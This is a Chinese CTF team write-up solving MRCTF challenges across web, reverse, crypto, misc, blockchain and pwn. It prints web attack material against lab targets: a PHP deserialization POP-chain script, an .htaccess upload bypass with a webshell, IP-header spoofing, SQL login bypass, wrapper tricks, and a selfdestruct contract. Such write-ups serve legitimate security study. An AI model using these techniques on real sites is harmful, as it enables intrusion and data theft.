天天看點

php substr 去掉前n位_MRCTF V&N大一小分隊writeupEthereumWebReverseAlgorithmMiscCryptoPwn

天璇的CTF平台位址:http://ctf.merak.codes/

Ethereum

SimpleReveal

點那個合同号

https://ropsten.etherscan.io/tx/0x41879d535b36316269d30339de7129e7227366a6b41fc62fb18be6ea64e5dab3

然後點click to see more然後把那個input data decode as utf-8 出來了

Unwanted Coin

目标合約的餘額為0.001eth的奇數倍時能夠getflag,而合約隻允許轉偶數倍的錢,是以考慮自爆合約強制轉賬0.001即可getflag

pragma solidity ^0.4.18;contract Force {    function Force() payable{}    function ForceSendEther(address _addr) payable public{        selfdestruct(_addr);    }}
           

Web

ez_bypass

第一層數組繞過:

index.php?id[]=1&gg[]=2
           

第二層is_numeric()繞過:

POST: passwd=1234567%00
           

要注意在header中加上:

Content-Type: application/x-www-form-urlencoded
           

PYwebsite

源代碼中得到js驗證邏輯:

function enc(code){      hash = hex_md5(code);      return hash;    }    function validate(){      var code = document.getElementById("vcode").value;      if (code != ""){        if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){          alert("您通過了驗證!");          window.location = "./flag.php"        }else{          alert("你的授權碼不正确!");        }      }else{        alert("請輸入授權碼");      }    }
           

通路flag.php得到提示:IP儲存了。隻有自己和購買者可以看到。

XFF頭設定為127.0.0.1得到Flag

Ezpop

可以看到源碼:

Welcome to index.phpphp//flag is in flag.php//WTF IS THIS?//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95//And Crack It!class Modifier {    protected  $var;    public function append($value){        include($value);    }    public function __invoke(){        $this->append($this->var);    }}class Show{    public $source;    public $str;    public function __construct($file='index.php'){        $this->source = $file;        echo 'Welcome to '.$this->source."
";    }    public function __toString(){        return $this->str->source;    }    public function __wakeup(){        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {            echo "hacker";            $this->source = "index.php";        }    }}class Test{    public $p;    public function __construct(){        $this->p = array();    }    public function __get($key){        $function = $this->p;        return $function();    }}if(isset($_GET['pop'])){    @unserialize($_GET['pop']);}else{    $a=new Show;    highlight_file(__FILE__);}
           

這是個反序列化QWQ

phpclass Modifier {    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';}class Show{    public $source;    public $str;}class Test{    public $p;}$r=new Modifier();$s=new Show();$t=new Test();$t->p=$r;$s->str=$t;$s->source=$s;echo urlencode(serialize($s));
           

wakeup方法->觸發tostring->source屬性不存在。觸發Test類的get函數。-?>觸發invoke函數->include(僞協定)

你傳你?呢

判斷出伺服器是Apache,fuzz了一下:後端有驗證,應該是不能上傳含有ph的檔案(原來做過一道原題)

考慮.htaccess來解析jpg圖檔,上傳時注意抓包修改Content-Type: image/jpeg上傳.htaccess,檔案内容為:

"jpg">     SetHandler application/x-httpd-php
           

在上傳一個含有一句話的jpg圖檔即可,flag在根目錄下:

php substr 去掉前n位_MRCTF V&N大一小分隊writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

套娃

第一層,Ctrl+U 檢視源代碼:

$query = $_SERVER['QUERY_STRING']; if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){    die('Y0u are So cutE!');} if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){    echo "you are going to the next ~";}
           

NCTF原題改編,構造Payload:

第一個if判斷:php會把空格或者點(.)自動替換成下劃線,可以用來繞過。

第二個if判斷:數字後面加%0A繞過

Payload:

?b.u.p.t=23333%0A
           

得知第二層在:secrettw.php

打開檢視源代碼:JsFuck,解碼之,彈窗:

php substr 去掉前n位_MRCTF V&N大一小分隊writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

POST:Merak=1即可得到源碼:

php  error_reporting(0);  include 'takeip.php'; ini_set('open_basedir','.');  include 'flag.php'; if(isset($_POST['Merak'])){      highlight_file(__FILE__);      die();  //這個死亡die()卡了我好久,一直沒看這裡}   //重點在這個加密函數上function change($v){      $v = base64_decode($v);      $re = '';      for($i=0;$i<strlen($v);$i++){          $re .= chr ( ord ($v[$i]) + $i*2 );      }    return $re;  } echo 'Local access only!'."
"; $ip = getIp(); if($ip!='127.0.0.1') echo "Sorry,you don't have permission!  Your ip is :".$ip; if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){ echo "Your REQUEST is:".change($_GET['file']); echo file_get_contents(change($_GET['file'])); } ?>  
           

很明顯隻要我們利用data僞協定繞過對2333參數的驗證:

data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=
           

就能利用file讀取到flag.php的值,但是送出的要是change()函數解碼後的内容,寫腳本吧,沒啥說的:

php  function enc($payload){       for($i=0; $i<strlen($payload); $i++){        //原解密函數将chr(ord($v[$i])+$i*2)拼接在了最終傳回值的後面        $re .= chr(ord($payload[$i])-$i*2);        }      return base64_encode($re);    }  echo enc('flag.php');  //flag.php加密後得到:ZmpdYSZmXGI=?>
           

去掉Merak,然後用上面的payload,Header中添加Client-ip: 127.0.0.1,即可獲得Flag

Ezaudit

wwwzip源碼洩露

大概看了一下,這段代碼需要三個參數:

username(crispr)、 password(萬能密碼) 、 Private_key(私鑰)隻要能正确輸入賬号和密碼(密碼直接用萬能密碼就可以)以及私鑰就可以獲得Flag。但是需要公私密鑰,這裡的突破點是使用了mr_rand()僞随機數函數,并且題目最後給出了公鑰,思路也就是利用公鑰推算出私鑰進行SQL注入。

根據公鑰爆破出mt_rand()的種子:

seed = 0x69cf57fb = 1775196155 (PHP 5.2.1 to 7.0.x; HHVM)

寫個腳本播撒種子,推 出私鑰:

得到私鑰,然後在login.html頁面用萬能密碼登陸進去得到Flag

Ezpop_Revenge

wwwzip源碼 洩露是個typecho

flag.php得是本地通路。并且将flag放在session中。估計是SSRF+SOAP

全局搜尋unserialize。在/usr/plugins/HelloWorld/Plugin.php中發現了一段可控的反序列化

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分隊writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

這裡存在反序列化點。并且可以列印session

那麼就得找。哪裡調用了這個類中的action方法

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分隊writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

看下這個addroute

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分隊writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

此處的意思就是通路page_admin。

就會通路HelloWorld_Plugin類中的action方法那麼post就可以觸發反序列化。反序列化點找到了。開始構造POP鍊這個類中存在__wakeup。會自動觸發。從這開始構造POP

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分隊writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

進入Typecho_Db類中__construct魔術方法。會将傳入的第一個參數。當成字元串拼接。那麼勢必會觸發__toString魔術方法

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分隊writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

找tostring。就三個。一個個看

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分隊writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

在Query.php中的__toSting魔術方法。

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分隊writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

由于Flag會指派給對應的session。那麼我們還得通過CRLF。來控制SOAP的session

下面貼Payload

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分隊writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

Reverse

Transform

IDA64位載入,進入main函數看到有效代碼

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分隊writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

寫腳本解密

撸啊撸

IDA64位載入,搜尋字元串來到關鍵代碼

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分隊writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

亂七八糟的函數跟了半天沒發現東西,後來覺得byte_140074B00很可疑,數了半天數啥也沒幹,輕按兩下跟進去,發現有另一個函數調用了此段代碼,跟進去

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分隊writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

SMC自修改代碼用IDApython或者IDC寫腳本來計算

轉換成字元串

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分隊writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分隊writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

PixelShooter

dnspy打開dll。搜尋字元串。

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分隊writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

Algorithm

緻敬OI

根據題意寫出程式(後面修改了一下c++出答案):

但是時間複雜度太高,隻能跑出前幾組資料:

然後出題人說一組是兩個字元,猜測是ascii,python:

跑出來是:

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分隊writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分隊writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分隊writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

最新思路:一個利用資料的點 就是能夠裝箱的經驗書,每堆的個數不會很多

需要以 n/K 作為門檻值,對于小于 n/K 的就去 DP,大于 n/K 的就利用到枚舉和劃分數。

Misc

pyflag

每個圖檔尾部有zip的一部分,提取出來,跑一下密碼為1234,然後是個base套娃,16,32,64,85看看解一下

尋找XXX

用dtmf檢測一下得到18684221609

找到出題人公衆号”天璇Merak“關注,然後把号碼發過去

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分隊writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

CyberPunk

下載下傳下來是個exe檔案,改系統時間 修改電腦時間為指定日期即可

ezmisc

高度問題,使用腳本算出高度,就能看到圖檔露出flag

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分隊writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

MRCTF{1ts_vEryyyyyy_ez!}

A Signal From ISS

SSTV,直接粗來

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分隊writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

merak{r3ce1ved_4n_img}

Unravel

strings wav 有個aes加密,掃一下圖檔有個壓縮包裡面圖檔寫了Tokyo,然後AESdecode出來是壓縮包密碼,壓縮包裡有個wav,用slienteye掃一下flag

binwalk JM.png得到一個壓縮包。裡面有一張aes.png。内容是Tokyo。是aes加密的密鑰strings wav得到一串AES密文。用上面的密鑰解密。得到CCGandGulu将這個作為密碼解壓win-win.zip得到Ending.wav拖入slienteye得到flag

千層套路

掃碼得到Flag

不眠之夜

先寫個腳本協助拼圖

有輔助還拼了一個小時,以後再也不做拼圖了=-=

手拼20分鐘出結果

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分隊writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

用gaps拼圖,先将120張小圖合并成一張大圖,可以用montage指令實作

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分隊writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

得到這樣一張圖檔,之後再用gaps跑一下就能還原整個拼圖

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分隊writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

你能看懂音符嗎

♭♯♪‖¶♬♭♭♪♭‖‖♭♭♬‖♫♪‖♩♬‖♬♬♭♭♫‖♩♫‖♬♪♭♭♭‖¶∮‖‖‖‖♩♬‖♬♪‖♩♫♭♭♭♭♭§‖♩♩♭♭♫♭♭♭‖♬♭‖¶§♭♭♯‖♫∮‖♬¶‖¶∮‖♬♫‖♫♬‖♫♫§=

https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=yinyue音符解密

Hello-Misc

binwalk抽出一個包圖檔前n行抽資料紅色1藍色0,然後出來一個圖檔

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分隊writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分隊writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

根據密碼解壓抽出來的壓縮包,是個txt,

按大小轉4進制,hexify,出來rar的密碼,解壓出來是個docx,然後有一段白色字型base64

然後decode,出來之後化成一張圖檔

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分隊writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

然後就出來啦(注意是He1Lo_mi5c~) (居然是5!!!

Crypto

keyboard

手機九鍵字母排序,按三下意思就是最後一個字母

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分隊writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

得到Flag: MRCTF{mobilephone}

古典密碼知多少

豬圈。聖堂武士。銀河密碼

得到結果栅欄解密

MRCTF{CRYPTOFUN}

Vigenere

https://www.guballa.de/vigenere-solver弗吉尼亞密碼,直接爆破

天幹地支+甲子

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分隊writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

得到的每個數字+1甲子的時間(60)然後用ascii轉得到goodjob

MRCTF{goodjob}

easyrsa

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分隊writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分隊writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

接下來正常rsa

babyrsa

baby題居然比easy題簡單!

題目中,gen_p是getPrime(128)後,在它後面找了連續的17個質數,并且告訴了我們第9個,顯然這是很容易得到剩下16個,然後給了powmod(p , 65537,n),n是17個質數的乘積,求出phi以後求逆元即可exp:

q就是白給,直接求個逆就能算

real random

題目告訴了M與D,猜對flag_part是哪一個就給flag的一位元組。

先分析random那個函數,将M分解,可以得到p,q(p與q是getPrime(6),總共隻有8種可能,很容易分解),用p與q能夠算出m和b

但是c不知道,是以推測對于不同的c,也許會有一個共同的周期,或是周期有一個固定的公倍數

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分隊writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

是以每進行m次操作,就會回到初始值,random[0]是進行了2**d次操作的,是以隻要發 m - (2 ** d % m)即可

Pwn

Easy_equation

solve to get judge = 2 溢出即可,不需繞過判斷

easyoverflow

保護全開,這一點都不easy

需要保證棧中rbp - 30h to rbp - 40h is covered by [email protected][email protected] is stored in rbp - 70h

exp:

shellcode

再不能更簡單了

spfa

這題反編譯出來發現就是一個spfa,有加邊、求最短路、get flag三個操作;

get flag 的條件是隊列中置入超過 1000 個數,但是要求加入點數隻能是 0 ~ 29,那麼從權值入手,發現權值可以等于 0,spfa 中加點條件也寫的大于等于。那麼隻要加入四條邊:0 1 0, 0 2 0, 1 2 0, 2 1 0 形成死循環即可。

shellcode-revenge

64位可見字元shellcode位址在rax

為了能夠f5,可以先把調用shellcode的代碼patch掉

到網上找一個現成的payload

發現為了保證不read到換行,需要填充,填充符還有講究,原shellcode會執行一部分填充字元,是以需要保證填充字元可執行且棧平衡,選取QY填充即可(push rcx,pop rcx)

這payload看得我密恐都犯了=-=

nothing but everythin

使用ropgadget工具生成ROP鍊,從入口點調用函數的參數可以找到main函數的位置,進而确定溢出點

exp: